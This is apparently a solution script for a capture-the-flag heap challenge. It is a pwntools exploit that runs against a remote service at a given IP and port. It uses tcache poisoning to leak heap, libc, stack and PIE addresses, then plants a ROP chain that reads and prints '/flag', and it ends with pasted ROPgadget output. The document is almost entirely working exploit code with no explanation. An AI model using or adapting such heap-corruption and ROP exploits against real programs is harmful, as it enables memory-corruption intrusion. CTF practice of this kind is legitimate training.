from pwn import * from LibcSearcher import * context(os='linux',arch='amd64') pwnfile='./pwn' elf = ELF(pwnfile) rop = ROP(pwnfile) libc_elf=ELF('./libc.so.6') if args['REMOTE']: io = remote("123.60.179.52","30304") else: io = process(pwnfile) r = lambda x: io.recv(x) ra = lambda: io.recvall() rl = lambda: io.recvline(keepends=True) ru = lambda x: io.recvuntil(x, drop=True) s = lambda x: io.send(x) sl = lambda x: io.sendline(x) sa = lambda x, y: io.sendafter(x, y) sla = lambda x, y: io.sendlineafter(x, y) ia = lambda: io.interactive() c = lambda: io.close() li = lambda x: log.info(x) db = lambda x : gdb.attach(io,x) b = lambda : gdb.attach(io) uu32 = lambda x : u32(x.ljust(4,b'\x00')) uu64 = lambda x : u64(x.ljust(8,b'\x00')) p =lambda x,y:print("\033[4;36;40m"+x+":\033[0m" + "\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + hex(y) + "\033[0m")
def add(size,content): sa(b'>>',b'1') sa(b'size:',str(size).encode()) sa(b' Content:',content)
def dele(idx): sa(b'>>',b'2') sa(b'idx:',str(idx).encode())
def edit(idx,content): sa(b'>>',b'3') sa(b'idx:',str(idx).encode()) sa('Content:',content)
def show(idx): sa(b'>>',b'4') sa(b'idx:',str(idx).encode())
add(0x500,b"a"*1) show(0) rl() base=uu64(r(6))&0xfffff000000
p('base',base)
add(800,b"a"*1) add(800,b"a"*1) dele(1) dele(2) leak1=base+0x160 p("leak1",leak1) edit(2,p64(leak1-8)) add(800,b"a"*1) add(800,b"b"*1) add(800,b"c"*1) add(800,b"d"*8) show(6) ru(b'd'*8) leak2=uu64(r(6)) leak3=0x7fd5a7093a40-0x7fd5a7093740+leak2 leak3=0x7fd5a7093a40-0x7fd5a7093740+leak2 p('leak2',leak2) p('leak3',leak3)
add(1000,b"z"*1) add(1000,b"x"*1) dele(7) dele(8) edit(8,p64(leak3-8)) add(1000,b"e"*1) add(1000,b"f"*1) add(1000,b"g"*1)
add(1000,b"h"*8) show(12) ru(b'h'*8) leak_stack=uu64(r(6)) p('leak_stack',leak_stack) __libc_start_main_243_stack=leak_stack-(0x7ffc8d14f0d0-0x7ffc8d14f0a8) p('__libc_start_main_243_stack',__libc_start_main_243_stack)
add(1000,b"z"*1) add(1000,b"x"*1) dele(13) dele(14) edit(14,p64(__libc_start_main_243_stack-8)) add(1000,b"e"*1) add(1000,b"f"*1) add(1000,b"g"*1) add(1000,b"i"*8) show(18) ru(b'i'*8) __libc_start_main=uu64(r(6))-243 p('__libc_start_main',__libc_start_main) libc=LibcSearcher('__libc_start_main',__libc_start_main) base=__libc_start_main-libc.dump('__libc_start_main') p('base',base)
add(900,b"z"*1) add(900,b"x"*1) dele(19) dele(20) edit(20,p64(leak_stack-8)) add(900,b"e"*1) add(900,b"f"*1) add(900,b"g"*1) add(900,b"j"*8) show(24) ru(b'j'*8) pie=uu64(r(6))-0x1950 p('pie',pie) systemcall=base+libc_elf.symbols['syscall'] p('systemcall',systemcall) write=base+libc_elf.symbols['write'] read=base+libc_elf.symbols['read'] pop_rdi=pie+0x00000000000019b3 pop_rsi_r15=pie+0x00000000000019b1 pop_rdx=base+0x0000000000142c92
edit_ret=__libc_start_main_243_stack-0x20 p('edit_ret',edit_ret) bss=__libc_start_main_243_stack+0x100 payload=b'a'*8+p64(pop_rdi)+p64(2)+p64(pop_rsi_r15)+p64(leak1)+p64(0xdeadbeef)+p64(systemcall) payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi_r15) payload+=p64(bss)+p64(0xdeadbeef) payload+=p64(pop_rdx)+p64(60)+p64(read) payload+=p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(bss)+p64(0xdeadbeef)+p64(pop_rdx)+p64(60)+p64(write) edit(18,payload) leave_ret=0x01840+pie p('leaveret',leave_ret) add(700,b"z"*1) add(700,b"x"*1) dele(25) dele(26) edit(26,p64(edit_ret-8)) add(700,b"e"*1) add(700,b"f"*1) add(700,b"g"*1)
add(700,b'a') add(700,b'a') ret=pie+0x1841
edit(6,b'a'*8+b'/flag\x00') edit(31,p64(__libc_start_main_243_stack-8)+p64(leave_ret))
io.interactive() ''' grxer@Ubantu20 ~/D/s/2/mi> ROPgadget --binary ./libc.so.6 --only 'pop|ret' | grep rdx 0x000000000015f8c5 : pop rax ; pop rdx ; pop rbx ; ret 0x0000000000119211 : pop rdx ; pop r12 ; ret 0x000000000015f8c6 : pop rdx ; pop rbx ; ret 0x000000000010257d : pop rdx ; pop rcx ; pop rbx ; ret 0x0000000000142c92 : pop rdx ; ret 0x00000000000dfc12 : pop rdx ; ret 0x10 '''
|